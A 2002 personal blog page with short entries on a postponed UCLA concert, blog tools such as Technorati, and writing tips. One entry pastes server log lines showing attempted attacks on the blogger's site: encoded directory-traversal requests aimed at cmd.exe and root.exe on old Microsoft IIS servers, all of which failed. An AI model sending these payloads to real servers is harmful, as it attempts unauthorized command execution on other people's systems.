Tuesday, December 3, 2002  [!]

security sieve catches artists So that is why the November concert of the Afro-Cuban All Stars at UCLA was postponed until May of next year. Homeland Security: it touches everything, including your cultural life, if you wanna see acts by people from other countries. Who was it that said that all this new bureaucracy was going to do was to clamp down on the lives of the regular person while those terrorists won't be caught in the tightening sieve? [via BoingBoing]

bloggertools Technorati is cool. Saw who's linking to me (and saying nice things at that)--one is even the husband of someone I went to college with, who also remembers Jeffry Michael: Hi Claude and Marilee!! Since my log files are rather cumbersome going at this point, tools like Technorati are way cool. Oh, and welcome back, Daypop! I missed you!

speaking of logs I've been poring through them a little. Man, so many attempts to hack in them! it's scary. All those scripts calling on microsoft stuff. What the heck are they trying to do with these shenanigans?

"GET /scripts/root.exe?/c+dir HTTP/1.0" 404 279 
"GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 277 
"GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 287 
"GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 287 
"GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301 
"GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 318 
"GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 318 
"GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 334 
"GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 300 
"GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 300 
"GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 300 
"GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 300 
"GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 284 
"GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 284 
"GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301 
"GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301 

Gar's tips on suck-less writing. When you write, write. Don't edit. When you edit, be ruthless. Plus more good advice.